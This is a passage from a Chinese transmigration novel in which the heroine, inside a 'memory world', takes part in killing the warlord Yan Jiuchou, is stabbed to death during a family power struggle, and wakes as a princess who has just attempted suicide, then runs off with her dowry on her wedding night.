他双手死死抓住被沿,双腿在榻上拼命蹬踹,整个床榻随之剧烈摇晃,发出不堪重负的吱呀声。 韩诚用尽全身力气压在上面,竟有些压制不住,被顶得身形晃动。 “二郎!”韩诚额头青筋暴起,“还不动手!” 苗悦大脑一片空白。 听到韩诚的厉喝,她下意识伸出双手,按住了燕九畴挣扎的双腿。 手下传来的力道大得吓人,苗悦紧闭双眼,咬紧牙关,用尽全身力气压着。 不知过了多久,也许只是一瞬,也许是漫长的一个世纪。 那剧烈的挣扎渐渐微弱下去,扭动的幅度越来越小,最终,彻底归于平静。 帐内死寂,烛火摇曳。 苗悦脸色惨白,心脏狂跳,眼前阵阵发黑。 韩诚颤抖着打开被子,用掌心覆住燕九畴圆睁的双眼,向下一抹,将那不肯瞑目的眼帘强行合上。 紧接着,他转身,用力扶住苗悦:“二郎,打起精神来!从此刻起,燕家军就要靠你了!” 苗悦强忍胃中翻涌,看着韩诚兴奋发红的双眼。 终于把主要事件走完了,她要离开这里! 燕九畴骤然病逝,虽秘不发丧,但权力格局正在悄悄改变。 长子燕定山以“大帅需静养”为由,下令全军放缓行进速度,择险要处扎营,加派亲信把守中军大帐,隔绝内外消息。 燕定山心中疑云密布。 他借探病之机,亲自检查了燕九畴的遗体,发现其脖颈处有瘀痕,指甲缝中残留着织物,绝非正常病逝应有的迹象。 他秘密提审当晚在帐外值守的士兵,士兵战战兢兢地透露,曾隐约听到帐内传来闷响。 而那晚,燕九畴身边只有韩诚与燕承嗣。 燕承嗣这一年来性情反复无常,日渐萎靡,更在宁州之战中,害得燕无咎尸骨无存,再加上燕九畴对燕无咎毫不掩饰的偏爱与栽培…… 燕定山怒火中烧,却陷入两难。 燕九畴死时正值重病,若没有铁证就动身为嫡长子的燕承嗣,必引发军中大乱。 沉吟再三,燕定山取过纸笔,写下两封内容相似的信,言明父帅死因蹊跷,韩诚形迹可疑,燕承嗣态度暧昧,军中局势暗流汹涌,请他们速速前来共商对策。 一封送给缀在后军的燕钊,一封送往留守宁州的三郎。 信使趁着夜色悄然离营。 与此同时,韩诚以燕承嗣的名义,加紧笼络前军中下层将领,尤其是那些原本就更亲近燕承嗣或对燕定山心存不满的军官。 苗悦守在中军大帐,以侍疾为名,闭门不出,将一切事务交由韩诚周旋,默默等待着最终清算之日的来临。 燕钊接到密报,从字里行间嗅出燕定山的怀疑,不由心中巨震。 他不久前才确认,燕承嗣便是那个屡次出现在他身边的神秘人,可转眼间,这人竟接连卷入燕无咎战死、燕九畴暴毙这两桩变故中。 他到底想做什么? 他到底想要什么? 若意在招揽人才为朝廷效力,何须行此等灭绝之事? 难道说,他还身负另一层的任务,从内部瓦解燕家军? 但是朝廷现在最大的问题难道不应该是占领了都城的牛焘吗? 燕钊觉得真相就在眼前,却又隔着一层迷雾,要拨开这层迷雾,唯有让那个人亲口说出来。 他点起一队亲随,快马加鞭,一日后便赶到了前军大营。 燕定山在偏帐接待了他,屏退左右。 燕定山面色疲惫,眼中布满血丝:“帅帐内外,我已派人严密看守。韩诚那老贼,也在我日夜监视之下。” 他报出几个将领的名字,语气沉重:“这些人,恐怕已被韩诚说服。真到了图穷匕见时,他们多半会站在老二那边。” 他目光灼灼地看向燕钊:“四弟,你的弩军战力卓著,在军中威望素著,父帅生前也对你青睐有加,常赞你技艺超群。眼下这般局面,由你出面主持大局,更能令将士们心服。四弟,此事……你究竟如何打算?大哥需要你一句准话。” 燕钊沉默片刻,道:“我想先见见父帅。” 主帐中,韩诚低声说:“燕钊到了,进了燕定山的大帐。燕定山已经起了疑心,燕钊此来,是敌非友。咱们必须有所行动了。” 苗悦长长地出了一口气。 韩诚握住苗悦的手,用力一紧:“二郎,开弓没有回头箭。事到如今,我们脚下已是万丈深渊,退一步,就是粉身碎骨,万劫不复!” 苗悦道:“全听舅父安排。” 韩 诚应了声“好”,便退了出去。 帐帘落下,隔绝了外间光线,只剩下浓重到化不开的药味,以及死亡带来的腐朽气息。 苗悦在帅案后坐了下来,失神地摩挲着腕扣。 不知过了多久,帐帘再次被掀开。 燕钊逆着光走进来,带来帐外清冷的空气,冲淡了些许腐败气息。 苗悦下意识缩了缩手,将腕扣缩进衣袖中。 燕钊只看了她一眼,便径直走向床榻。 几天过去,燕九畴的尸体呈现出青灰色,脸颊深深凹陷,皮肤紧绷,失去了所有生机与弹性。 燕钊在床榻前站定,沉默地注视着燕九畴最后的遗容。 在他心中,燕九畴绝对算不上一个“父亲”。 他们之间,是恩与遇,是主与从,是知遇与回报,亲情淡薄得几乎可以忽略。 可正是榻上这个人,给予了他最大的信任,也倾注了最多的资源。 没有燕九畴,就不会有那一批批威力惊人的制式连弩,更不会有上千装备精良的弩骑军,是燕九畴给了他一片足以施展抱负的天地。 燕钊几乎可以肯定地说,朝廷能给他的不会比燕九畴给的更多更好。 他曾冷眼旁观,将燕承嗣与燕无咎放在心中掂量。 长子有身份,却无其父的气度与胸襟,幼子有锐气,却少了沉稳与远略。 他们都无法与眼前这位一手打下基业的雄主比肩。 然而,就是这样一位雄主,却如此憋屈地死在了这里,死在自己儿子的手中。 如果真是燕承嗣动得手,燕钊甚至觉得可以理解,但问题是,他明明不是燕承嗣啊,为什么他要这么做? 苗悦开口:“既然你来了,找个时间把父帅安葬了吧,尸体都要臭了。” 燕钊僵了一下,缓缓转过身,一步一步走到苗悦面前。 “是你干的?”燕钊近乎肯定道。 苗悦抬眼,迎上燕钊那双因愤怒而微微发红的眼睛。 她张了张嘴,似乎想说什么,最终只是笑了一下。 作为“燕承嗣”,她的任务已经完成了,有种破罐破摔的轻松。 看着她这副模样,燕钊眼中红意更盛。 “你到底想要什么?!” 苗悦起身,无视燕钊,向外走去。 燕钊一把拉住她:“你跟我说实话,我可以保你不死。” 苗悦站住。 刚成为燕承嗣时,她确实为自己定下了目标,推动重要事件发生,同时刷燕钊的好感度,为燕承嗣博一线生机。 为此,她创造了“老夫”这个角色。 可当弑父的鲜血真的溅在手上,她才深刻地意识到,走剧情和亲身经历是两回事。 她有点无法再继续使用“燕承嗣”这个身体了。 这个身体里装载了太多阴暗挣扎和不堪回首的记忆,让她感到窒息和疲惫。 她想要的,是从这沉重的负罪感中解脱出来。 她甩了下胳膊,想甩开燕钊的桎梏,竟然没能成功。 她转头,看着燕钊:“放手。” 燕钊松开手,道:“大哥不会放过你的,他已经在查了。” 苗悦没有回头:“那你叫他快一点,我等得不耐烦了。” 第52章 燕九畴的死讯, 终究无法隐瞒太久,消息传出,军中上下一片哗然与悲戚。 主帅暴卒于征途, 军心浮动不可避免。 在燕定山的主持下,全军缟素, 为燕九畴举行了简朴而肃杀的军中葬礼。 灵堂设在中军大帐, 讣告与军报以六百里加急的速度, 分头传向燕氏宗族、垣城、宁州等地。 葬礼由长子燕定山总体负责, 亲子燕承嗣承担起孝子的角色, 主持具体的仪式, 如迎送吊唁、答谢宾客、守灵哭丧等。 苗悦面无表情地完成每一个规定动作, 脸上看不到丝毫悲戚。 父帅新丧,身为人子,竟是这般冷漠姿态! 燕定山在一旁看着, 牙关紧咬, 额角青筋突突直跳。 在苗悦又一次机械地对着某位前来吊唁的将领躬身还礼后, 燕定山终于按捺不住。 他大步上前,一把抓住苗悦的手臂, 将她强行拖到灵堂一侧的帷幕之后。 “燕承嗣!”燕定山从牙缝里挤出声音,气息灼热, “父帅尸骨未寒,你连一滴眼泪都没有?你的良心被狗吃了?!枉我这一年在父帅面前不停地帮你说好话!” 苗悦平静道:“哭与不哭,父帅都回不来了。” 燕定山气得浑身发抖,暴怒至极,彻底失控,猛地拔出佩刀,架在苗悦肩上。 “我杀了你这个不孝不悌的畜生!” 苗悦闭上眼。 一刀下去, 这个回合,就结束了。 千钧一发之际,一只手死死扣住燕定山手腕。 “大哥!”燕钊硬生生将燕定山持刀的手抵在半空。 燕定山吼道:“老四,你放手!让我杀了这个混蛋!” 燕钊踏前一步,用身体隔开两人:“现在不是时候!” 燕定山猛地甩开燕钊的手:“什么时候才是时候?!你告诉我!到底什么时候才是杀这个畜生的‘时候’?!” 他向前逼近一步,几乎与燕钊脸贴着脸:“父帅死得不明不白,无咎尸骨未存。我早就把证据摆在你面前,可你推三阻四,百般搪塞!你这么护着他到底什么意思?!你也要背叛父帅吗?!” 苗悦惊讶地看向燕钊。 怎么会这样? 在现实中,主导清算燕承嗣的主力正是燕钊。而且,因怀有为杨溪复仇之心,燕钊对燕承嗣下手可谓毫不容情。 难道,就是因为杨溪没死? 燕钊冷声道:“父帅新丧,三军缟素,无数双眼睛都在看着!你在灵堂手刃父帅亲子,消息传开,后果你承担得起吗?!” 燕定山胸口剧烈起伏,瞪着燕钊,牙关咬得咯咯作响,猛地转身大步离去。 灵堂外隐约传来了刻意提高的通报声,似乎是有重要的将领前来祭奠。 燕钊没有回头,对身后的苗悦简短道:“二哥,有客到。” 苗悦走出帷幕,重新回到灵堂前,在无数道目光的注视下,机械地重复着祭奠的礼节。 军营气氛在一种刻意维持的平静中,变得愈发微妙而紧绷。 主帅之位空悬,如同一个巨大的漩涡,吸引着所有人的目光。 韩诚争分夺秒地推动着“父死子继”的议程。 燕钊的弩军与七郎八郎的队伍驻扎在营地外圈,形同包围。 苗悦闭不见客,她在等燕钊与燕定山联手逼宫,将她这个罪人揪出,公之于众,然后被驱逐。 在这之前,她已经不想和任何人周旋,包括韩诚在内。 燕定山不断催促燕钊表态,甚至开始怀疑他的立场。 燕钊从没在做选择时这般苦恼过。 他多次暗中试探,可“二哥”对他的问题要么避而不答,要么含糊其辞,始终不肯吐露半句实话。 最近更是连见都不肯见他了。 紧接着,更麻烦的事来了。 惊闻燕九畴死讯的燕无咎冲回了宁州城,在三郎悲喜交加的迎接中,看到了大哥那封语焉不详的信。 只一瞬间,燕无咎便将宁州之战、父帅的突然暴毙与大哥信中的暗示串联起来。 一个可怕的猜想在他脑中炸开,是二哥害死了父帅! 他单人独骑,日夜兼程,疯了一般冲向燕承嗣所在的军营。 燕钊得到消息时,立刻上马冲向辕门方向。 然而,他还是稍晚了一步。 当他赶到时,正看到辕门外一片混乱。 守门的士兵们见到“死而复生”的六郎挥舞着九环大刀硬闯,个个脸上惊疑不定,拦也不是,不拦也不是,惶惶然不知所措。 燕钊一夹马腹,冲入混乱中心,横马挡在了辕门与燕无咎之间,厉声喝道:“无咎!冷静点!” 因长途狂奔和极致的愤怒,燕无咎双目赤红,气息粗重。 他死死盯着燕钊,声音嘶哑地问:“父帅的事……是不是他干的?!” 燕钊沉默了一瞬,才道:“ 我还在查。” 燕无咎冷笑:“他能在战场上坐视数千同袍去死,能眼睁睁看着亲弟弟陷入绝境,他还有什么干不出来?!我去问他,一问便知!看他见到我,还能怎么狡辩!” 说罢,他一扯缰绳,就要催马从燕钊侧方冲过去。 一道寒光闪过,燕钊横刀出鞘,挡在燕无咎马前,拦住了他的去路。 燕无咎难以置信地看向燕钊:“你要包庇那个畜生?!” 燕钊下颚紧紧绷着,声音低沉而艰难:“把人交给我。我保证,他不会再出现在你面前。” 燕无咎一愣,随即嘲道:“你的保证,小爷不稀罕。你滚开,否则我不客气了!” 他甩开九环大刀,扫掉挡在身前的横刀,一夹马腹,不管不顾往前冲去。 燕钊反手一击。 “铛”地一声,刀光闪烁,金铁交鸣之声不绝于耳,两人在马上瞬息间拆了七八招。 周围的士兵们吓得连连后退,有机灵的赶紧跑进去通报。 燕无咎这回真的火了,但他一时半刻打不赢燕钊,不由怒道:“燕钊!你什么意思?!” 燕钊眉头紧锁,道:“这个二哥不是你以为的二哥,她没有这么深的心机,背后必是韩诚的谋划,你去杀韩诚泄愤,我绝无二话!” 燕无咎冷道:“你以为我会放过那老贼?让开!” 他再次猛冲,燕钊挥刀硬架,两人兵刃相抵,僵持在马上。 燕无咎道:“你今日若再拦我,我就先杀了你!” 燕钊道:“弩军就在外围候着,只要我不同意,你动不了他。” 燕无咎怒目圆瞪:“弩军是我爹一手建出来的,放眼天下,就这一支。没有我爹,你燕钊哪来的弩军。” 燕钊道:“我感念父帅知遇之恩,有生之年,绝不背叛燕家军。唯有这个人……” 他顿了顿,咬牙说:“你让我带他走,弩军我不要了。连**和工匠一并交给你。” 燕无咎震惊。 他太清楚这支弩军对燕钊意味着什么,他居然为了一个弑父杀弟的人,甘愿放弃这一切?! 他死死盯着燕钊,从那幽深的眼中看出这不是玩笑话。 燕无咎持刀的手,缓缓垂了下去,巨大的荒谬感席卷了他。 他喃喃低语:“到底是你们疯了,还是我疯了?” 燕钊道:“是我对不起父帅,但是我真的不能再看着她死在我面前。” 燕无咎的眉头紧紧皱起:“要我不杀他,除非他指天发誓,这些事不是他干的!” 中军营帐,韩诚脸色惨白,连滚带爬地冲了进来,惊恐道:“不好了!六郎他没死!他回来了!” 苗悦猛地从案后站起,失声道:“不可能!” “千真万确!”韩诚急得语无伦次,“就在营门外!跟燕钊打起来了!” 苗悦吓得不轻,抬腿就往外走。 韩诚一把拉住她:“二郎,你可不能出去啊!六郎口口声声说要杀了你!还有大郎!大郎早就对你不满,他们三个要是联手了,你,你可怎么办?!” 苗悦甩开韩诚,头也不回出了营帐。 韩诚又急又追不上,跟在后面猛喊:“二郎!二郎!” 苗悦走得飞快,她必须亲眼确认燕无咎到底死了没。 现实中,燕无咎在宁州之战中确实死了,虽然具体细节语焉不详,但这一点,无论是李晏还是苗悦,都未怀疑过。 因为如果燕无咎没死,燕九畴的亲儿子尚在,燕家军怎么可能越过他,交到燕钊手上? 所以,燕无咎必须死,这是“历史”的定论。 如果在记忆世界里,燕无咎没有死,意味着燕钊不会顺利接手这支军队,也就不可能带着他们去衡州,后续标志性的事件都不会发生。 记忆世界的核心轨迹,产生致命偏移,整个世界就会崩塌。 这是最彻底的失败。 她不仅没能引导燕钊忠君爱国,反而让他察觉到了有“外力”在试图篡改自己的记忆。 苗悦步子更快了。 若是真的,她必须想办法补救。 第53章 辕门外剑拔弩张。 守门的士兵们退开了一个圈, 个个神情紧张,手握兵刃却不敢上前。 圈子中央,燕钊横马而立, 长刀出鞘,死死挡住另一人一马的去路。 而他对面, 正是那个本应死去的燕无咎, 他的九环大刀兀自低垂, 刀尖点地。 空气凝固, 杀意弥漫。 燕定山也闻讯赶到了, 他脸色铁青, 大步流星地分开人群闯了进来, 吼道:“你们这是在干什么?!父帅灵柩未寒,你们就在营前兵戎相见?” 他这一吼,让本来紧绷的气氛略有松弛。 韩诚气喘吁吁地追了上来, 看到这场面, 吓得脸色发白, 躲在人群后。 燕无咎看向燕定山,眼中悲愤更甚。 他正欲开口, 却看到了苗悦,悲愤顿时化为怒火。 他大吼一声, 猛夹马腹,朝着苗悦杀过来,转眼间连冲数人,直到近前。 苗悦下意识后退。 燕钊脸色骤变,厉喝一声,策马疾冲,追上燕无咎, 伸刀拦截。 兵刃再次狠狠交击。 “住手!都给我住手!”燕定山连连怒吼。 可激战中的两人哪里还听得进他的话。 两匹马在缠斗中不断移动,转眼间,已逼近苗悦身前一丈多。 周围的人纷纷后退,只有苗悦站着没动。 她悄悄举起了左手,衣袖滑落,露出手腕上样式古朴的乌木腕扣。 燕承嗣常年练武,力量与稳定性绝佳。 苗悦能用这招击杀高世衡,就也能用这招取了燕无咎的性命。 燕钊余光瞥到了苗悦的动作,心下大骇,脱口道:“不可!” 几乎在同一瞬间,苗悦眯起眼,瞅准燕无咎因格挡而露出的咽喉空门,按下了腕扣。 一道细如牛毛的寒芒,疾如闪电,直射而出。 燕钊硬生生拧转手腕,长刀划出一条弧线,斜劈向那寒芒。 那根致命的飞针被刀锋磕飞,不知落向何处。 燕钊的后背暴露给了燕无咎。 燕无咎瞠目,急急换向,转开刀锋。 九环大刀带着沉重的风声,狠狠斜拍上燕钊。 燕钊闷哼一声,整个人被巨大的力道从马背上撞飞出去,一口血喷出。 就在所有人的注意力都被这突变吸引时,早已对燕承嗣起了杀心的燕定山,眼见她又暗算六弟,登时暴怒,手中长刀毫不犹豫地从背后猛刺出去! 利刃穿透躯体的沉闷声响,清晰可闻。 燕定山愣住了,他没想到自己这一刀,竟然如此轻易地得手了。 燕钊看到染血的刀尖从燕承嗣胸前透出,瞳孔骤缩。 韩诚发出撕心裂肺地吼叫:“二郎!!!” 燕无咎茫然地坐在马背上,他完全搞不清楚,为何他的兄弟们会变成这样。 苗悦软软地向下倒去。 完了……前面的功夫全白费了…… 燕无咎将继承燕家军,记忆世界将会崩溃。燕钊会意识到,有人在试图篡改并控制他的思想。 还有什么办法没有? 苗悦的身体并未落在地面上。 燕钊冲了过来,在她落地前接住了她。 他下意识想用手去捂住那不断涌血的伤口,可手抖得厉害,竟无法真的按下去。 看着怀中人迅速失去血色的脸,燕钊声音颤抖:“你是谁?你究竟是谁?!” 苗悦抬起手,抓住燕钊衣襟,断断续续道:“不要相信你看到的……牛……是牛焘……想用巫术控制我们的想法……去长安……让朝廷保护你……” 生死瞬间,苗悦能想到的,就是将屎盆子扣到牛焘头上。 这原也算一个不错的招,可惜燕钊没听到。 他抬起头,脖颈上青筋暴起,朝着周围人大吼:“叫大夫!叫大夫!” 他的吼声完全压过了将死之人微弱的话语。 苗悦很意外,她居然能看到燕钊如此失控的样子。 她扯了扯嘴角,让一个万年沉稳的人这般惊惶,自己也 算有点本事。 韩诚如梦初醒,连滚带爬地起身,哭着催促:“大夫!快叫大夫啊!” 燕无咎直到此刻才找回心神,踉跄地从马背上翻了下来,九环大刀拖在泥土里,划出一道深深的痕迹。 他拖着刀一步一步走到燕钊身边,低头看着那个曾经无比熟悉此刻却毫无生气的面孔。 燕定山声音干涩:“不用叫了,二弟他……死了。” 韩诚瘫软在地,面无血色。 风似乎停了,旗幡不再摆动,士兵们僵在原地。 燕钊抱着怀中变冷的躯体,手臂僵硬,一动不动。 燕定山握着滴血的刀,眼神复杂难明。 燕无咎觉得一切都荒谬至极,所有人都疯了。 他转过身,拖着那柄沉重的刀,走向自己的战马。 “无咎!”燕定山喊住他,“你不能走。” 燕无咎恍若未闻,伸手去抓缰绳。 “无咎!” 燕定山再次出声,“你忍心看着父帅辛苦打下的基业,就这么散了吗?!” 燕无咎顿住了。 他缓缓转过头,视线扫过场上的每一个人。 抱着二哥尸体的燕钊,亲手弑弟的燕定山,抖如筛糠的韩诚,以及周围那些惊惶茫然各怀心思的士兵。 大哥在众目睽睽之下,亲手杀了父帅的长子,他若继承燕家军,必有旧部以此为借口,不服管理引发内乱。 三哥勇武有余,但城府不足难以服众,更无法应对眼下复杂险恶的局面。 老七老八资历尚浅,难当大任。 他若此刻一走了之,燕家军群龙无首,父帅基业恐怕真的就散了。 他的目光落回到燕钊身上。 “四哥。”他微微一顿,仿佛卸下了千斤重担,“我生性散漫,胸无大志,只愿纵情山水,逍遥此生。统帅千军万马的重任,我担不起,也不想担。” 他迎着燕钊的目光,一字一句:“燕家军,从今日起,交给你了。” …… …… 苗悦重新恢复意识,能再次控制身体时,眼睛依然是闭着的。 也对,记忆世界崩溃了,她就会返回现实,此刻闭着眼,才是正常的。 但问题是,她怎么躺在地上了。 任务失败,连床都不给躺了吗? 她小心翼翼地睁开眼睛。 最先看到的是身旁一只翻倒的红木圆凳。 目光上移,房梁上,刺目的红绸无力地垂落下来,末端是一个散开的绳结。 她又双叒叕穿越了,记忆世界居然没崩? 这是怎么回事,燕无咎不是没死吗,燕钊怎么还是继承燕家军了? 她撑起身子环顾四周。 窗棂挂着红绸,墙壁贴着大红“囍”字,她自己身上则是一件大红嫁衣。 这是一间婚房。 李晏的话在脑中响起。 “三年前,朝廷为笼络燕钊,曾遣一位公主与其联姻。怎奈公主心高气傲,万难接受下嫁草莽。到达衡州不久,竟决然自尽。原本,燕钊确有归顺朝廷之意,可经此变故,局势陡转,如今他心中作何想,实难猜测。” 这次不用等信息传递,苗悦就猜出来了,她穿成了那位不情不愿嫁给燕钊的公主李昭宁。 这位公主刚刚踢翻凳子悬梁自尽,但绳结没打好,半路散开,人就摔了下来。 苗悦啪地一下,又躺回地上,一手抚住刚刚被洞穿的心口。 意识深处,还残留着横刀穿透身体时,那彻骨的凉意。 她轻轻吁了一口气,闭上眼,给自己几秒钟时间,将思绪从那个充满血腥与背叛的战场,硬生生拽回眼下。 深呼吸…… 鼻腔里充斥的不再是血腥,而是新房里特有的熏香和红烛燃烧的气味。 再呼吸…… 耳边不再有战马的嘶鸣和士兵的喊杀,只有一片寂静。 吐气…… 她睁开眼,视线聚焦,刺目的红缎子在头顶飘啊飘。 上一个身份已经落幕,无论爱恨情仇,都已了结。 现在,她是昭宁公主了。 快速穿越也有快速穿越的好,能让人立刻着眼当下,没时间纠结过去。 昭宁公主的选择,苗悦挺不能理解的。 她信奉好死不如赖活着。 生命何其珍贵,跟“不能自主婚配”这件事比起来,孰轻孰重?非得用最决绝的方式,断了自己所有的路。 身为公主,前半生锦衣玉食,后半生就算政治联姻,嫁的也是个手握实权年轻有为的军阀,物质上半点委屈不着。 再说就燕钊那长相气度,放在哪都是拔尖的人物,纯粹看脸看身材,也不至于痛苦到求死吧。 人家不就是出身低了点吗,若论才干,整个皇宫能找出一个可以媲美的吗。 苗悦穿着大红喜袍,盘腿坐在地上,掐算了一下时间。 距离现实节点,还有三年。 苗悦曾在心里发誓,无论穿成谁,都要立刻开溜。 可现在她成了公主。她还是第一次当公主,而且目测能在衡州城内安安稳稳当三年燕夫人。 日子是肉眼可见的安逸舒适,怎么看都是一手躺赢的好牌。 要不这回试试“先婚后爱”的路子,吹吹枕边风? 她眼珠转了转,公主不可以,她好像可以。 她脑中浮现出燕钊挺拔如松英姿凛冽的模样……啧啧啧,居然有点期待。 第54章 昭宁公主, 原名李慕宁,在受封前,只是宗室远支一个不起眼的庶女。 父亲是空头郡王, 母亲出身低微。 李昭宁自幼体弱,患有心疾, 常年服药, 这在讲究子嗣与联姻的门第中, 成了致命短板。 婚事因此一再耽搁, 年至二十仍无人问津, 在家族中近乎透明。 一纸诏书改变了这一切。 朝廷需要一位公主与燕钊联姻, 于是选中了她这个血缘尚可又无人在意的宗室女。 赐名李昭宁, 为表示皇帝特别恩宠,直接以其名作为封号,封为昭宁公主。 从宗室远支中挑选女子联姻, 在本朝很常见。 但李昭宁, 却有些不同。 她因常年服药, 深居简出,认识的适龄男子极少, 竟私下与药房掌柜的儿子生了情愫。 两人都清楚身份悬殊,便想着等李昭宁再蹉跎两年, 成了无人问津的老姑娘,家里或许会同意她下嫁。 那药房小子为等她,连推几门亲事,没少惹他爹生气。 两个年轻人偷偷做了约定,盼着日子快些过去。 谁知,一纸赐婚诏书,将这点微末念想彻底碾碎。 两人本想断情, 却在月下情难自抑,逾越了界限。 两月后,李昭宁诊出了身孕。 这是欺君大罪。 老郡王万分惊恐,为掩人耳目,开始暗中行事。 药房小子“意外”身亡,李昭宁被强灌下虎狼药。 接连得知情郎死讯,又被迫落胎,李昭宁万念俱灰,绝食求死。 老郡王以她生母性命相逼,迫使她换上了嫁衣,从丹阳老宅出嫁。 她名义上的堂兄,襄王第四子李晏领命送亲,前往燕钊所在的衡州城。 苗悦刚刚才推翻了自己发过的誓,决定继续完成任务,试着吹吹枕边风。 可等她接收完李昭宁的全部信息,整个人都懵了。 她对李晏那漏洞百出的情报彻底无语,这么要命的内情,他竟半点没提,轻描淡写地将李昭宁的反抗归结为“不肯下嫁草莽”。 这哪是什么不肯下嫁,这分明是殉情! 苗悦气得牙根痒痒,什么安安稳稳的燕夫人,她就知道自己没这么好运,又一盘天坑开局。 苗悦撑着地想站起来,这身厚重的大红嫁衣却像有千斤重,层层叠叠的绸缎和刺绣缠手绊脚,缀满了珍珠和玉片,稍微一动,环佩叮当。 她烦躁地扯了扯紧束的领口,索性不起来了,摆烂似的摊坐在地上。 死了活,活了死,上学还有课间,足球比赛还有中场休息,这叫什么? 睁开眼睛就是干,一个接一个的,连口气都不让人喘。 当陈阿大时,天天哄着燕钊。 当石红玉时,给他找资源、做心理辅导、做技术梳理。 当燕承嗣时更累,明面上揽下所有恶事,被众人怨恨,暗地里却还要刷燕钊的好感度。 反正燕钊都肯和朝廷联姻了,说明他够忠心的。 哪天东窗事发,让燕钊知道他戴了绿帽子,那火又得撒自己头上。 破任务,谁爱 干谁干吧。 她要撤了。 再说,她上一回合发过誓,这把哪怕穿成杜言,她都要立刻跑路。 情况有变,人要对自己发过的誓负责任。 苗悦打定主意,立刻开始宽衣解带,厚重的霞帔,层层叠叠的绸缎,被她胡乱扯下扔在一旁。 她现在需要一套不惹人注意的方便行动的衣裳。 苗悦站起身,目光在屋内扫视,看到了墙角那口雕花繁复的紫檀木大箱子。 箱子有半人高,上面还贴着崭新的喜字,一看就用料扎实。 要么是新娘的陪嫁,要么是燕钊送的礼。 苗悦摸索着找到黄铜锁扣,用力一掀。 箱子里面分门别类,摆放得十分齐整。 一侧是数套衣裙,从日常襦裙到礼服一应俱全。另一侧则码放着数个大小不一的锦盒。 随手打开一个,里面是一套赤金点翠的头面首饰;又打开一个,里面是各色玉佩、金簪、宝石戒指。 苗悦翻出一套颜色偏深的衣裙,快速套在身上,又捡起地上的红盖头,铺在桌面上,选了轻便易带的金簪玉佩和一盒子金币两箱小银锭。 她将这些东西放在红盖头中央,四角一提,打了个结实的结。 万一四方会那边出什么岔子,一时半会儿拿不到钱,她总得有些准备。 苗悦背上红包裹,踩着凳子推开后窗。 一脚都迈上去了,她忽然想到什么,看向梳妆台旁的小案,那里果然备着笔墨纸砚。 她快步过去,随便磨了几下,提笔。 “昭宁福薄,身染沉疴,病弱难堪匹配,恐误将军前程。此生缘浅,愿君珍重,勿念勿寻。昭宁绝笔。” 她将信纸压在妆匣下显眼处,拎起包袱,推开后窗,纵身一跳。 险些崴了脚。 夜风一吹,苗悦打了个激灵。 她忘了,这身体不是陈阿大,不是石红玉,不是燕承嗣。 这是李昭宁,一个常年卧病、弱不禁风,小产后未静养,多走几步都喘的病秧子。 苗悦深吸几口气,适应了虚弱的身体,然后沿着墙根,扎进夜色里。 出逃的过程,比苗悦预想的要顺利。 燕钊入驻衡州城后,将刺史府改为将军府。 今夜因朝廷赐婚,又有襄王嫡子李晏这位贵客在,府中大部分人手和注意力都集中在了前厅宴饮处。 燕钊也不是那种里三层外三层严密布防的谨慎之人。 凭借十几年做贼的丰富经验,苗悦对潜行躲藏寻找路径轻车熟路,唯一的麻烦就是这具身体实在太过孱弱。 爬树费力,翻墙没戏,她只能依靠对地形的判断,专找那些可供身形纤细者勉强通过的墙洞或矮窗,有惊无险地溜出了刺史府。 出了刺史府,期盼已久的衡州城,终于展现在苗悦眼前。 她不敢停留,强撑着虚软的身体,咬牙紧走几步,拐进一条僻静的巷子,背靠一棵老树,大口大口喘着气。 心脏跳得太快,撞得她耳膜作响,眼前发黑。 不是兴奋,也不是畏惧,纯粹是这具身体太不顶用了。 她用拇指死死掐按另一只手腕处的内关穴,安抚狂跳的心脏。 等呼吸终于平稳下来,她朝着灯火和人声最密集的方向走去。 路上行人不少,三三两两,脸上带着节庆般的松弛。 街道两旁的店铺大多开着门,食肆里飘出的香气混杂着远处的丝竹管弦之声。 新任城主与昭宁公主的婚事,给这座被占领半年的城池,带来了一些喜庆。 苗悦背着从新房顺来的红包袱,走在热闹的街市中,仿佛刚刚收工的“西市小仙姑”,揣着得手的财物,若无其事地混进人流,借着喧嚣掩盖行迹,一步步远离现场。 苗悦不知道衡州城的四方会在哪里,但她知道人们很快就会发现新娘子不见了。 不管出于什么原因,公主在新婚之夜失踪,都足以引发全城戒严和大搜捕。 她必须找个地方躲起来。 凭借经验,她穿过几条街巷,停在了一座看起来颇为气派的红楼前。 任谁也不可能想到,堂堂宗室女,朝廷新封的公主,会躲进青楼来。 老鸨扭着腰从里面迎出来,见是个年轻姑娘,上下一打量,张嘴就赶人:“我们这儿不接待女客……” 苗悦拔下头上雕着牡丹的点翠金簪,一扬手,插进老鸨堆得高高的发髻里。 “给我一间上房,一桌好菜,两壶果酒,四个姑娘。” 苗悦打了声响指,迈步进了大厅。 老鸨一愣,下意识抬手摸向发髻,小心地拔下金簪,借着灯笼的光仔细看了看成色,又用牙尖轻轻磕了一下,脸上瞬间堆满了笑,忙不迭地将金簪插回发间。 准是哪家大户的小姐,在深闺里待得闷了,偷跑出来寻乐子的。 “哎哟,瞧我这没眼力见的!客官快里边请,里边请!”她殷勤地将苗悦往二楼引,笑得像朵花,“您放心,顶好的屋子,顶好的酒菜,顶好的姑娘,马上给您送来!” 将军府,挂着大红喜字和灯笼的新房内,此刻死寂得吓人。 丫鬟仆妇们跪了一地,个个面无人色,抖如筛糠。 燕钊沉着脸站在屋子中央,一言不发,视线在房中缓缓移动。 紫檀木箱子大敞着,里面的衣物被翻得乱七八糟。 华丽的大红婚服,胡乱弃在地上,旁边还有一支翻倒的凳子。 李晏脚步仓促地闯了进来,待看清满屋的狼藉后,一脸惊愕。 公主贴身老仆赵嬷嬷跪在地上,涕泪横流。 “老奴瞧着公主殿下一天未用膳,怕饿坏了身子,这才带人去厨房,想给殿下寻些点心垫垫肚子……”她指着地上跪的几个小丫鬟,“谁知这几个小蹄子偷奸耍滑玩忽职守……竟然……竟然把公主殿下看丢了!” 那几个小丫鬟吓得直哭,连连磕头求饶。 燕钊看到妆匣下的信纸,抽出来粗粗一览,神情怪异。 他再次看向紫檀木箱子。 “公主的随身物品只有这些衣服吗?” 一屋人同时转头看过去。 赵嬷嬷膝行两步,伸手在箱内翻动了几下,然后立刻缩回手。 “这箱子里原本还有公主的饰品和……和压箱的官银……都不见了……” 燕钊转头,看着地上的喜服,问:“盖头呢?” 几个丫鬟一起上手翻找。 “盖头也不见了……” 燕钊沉默着,脑海中浮现出一个画面。 穿着大红喜服的新娘子,用红盖头当包袱皮,把值钱的嫁妆一股脑塞里面。 不但自己拿,还嘱咐他能带多少带多少。 燕钊忽然笑了一下。 